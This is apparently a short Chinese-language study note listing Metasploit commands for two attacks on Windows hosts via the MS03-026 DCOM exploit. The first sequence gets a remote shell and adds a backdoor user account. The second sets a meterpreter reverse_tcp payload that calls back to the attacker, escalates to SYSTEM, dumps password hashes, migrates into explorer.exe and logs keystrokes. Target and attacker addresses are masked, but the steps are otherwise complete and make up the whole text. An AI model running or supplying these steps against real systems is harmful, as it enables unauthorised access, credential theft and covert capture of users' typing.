Metasploit
Metasploit —— metereprter后门建立
- 步骤：
-
use exploit/windows/dcerpc/ms03_026_dcom//绑定shell，加载所用的插件 -
?//查看命令帮助 -
set Rhost **.**.**.**//设置靶机ip -
set lhost **.**.**.**//设置攻击机ip -
set lport **//设置攻击机的端口 -
exploit//漏洞利用 -
shell//获得靶机shell权限 -
ipconfig//获取靶机ip -
net user test test /add//在靶机上添加新用户
-
Metaspolit —— 键盘记录
- 步骤：
search ms03_026use exploit/windows/dcerpc/ms03_026_dcomset RHOST **.**.**.**set LHOST **.**.**.**set LPORT **set payload windows/meterpreter/reverse_tcpexploithelpgetuiduse privgetsystemsysinforun hashdump- 查看explorer.exe的pid
-
migrate **// **代表上一步所查得的pid getuidkeyscan_startkeyscan_dump- 此时在靶机里输入一些字符
keyscan_dumpkeyscan_stop
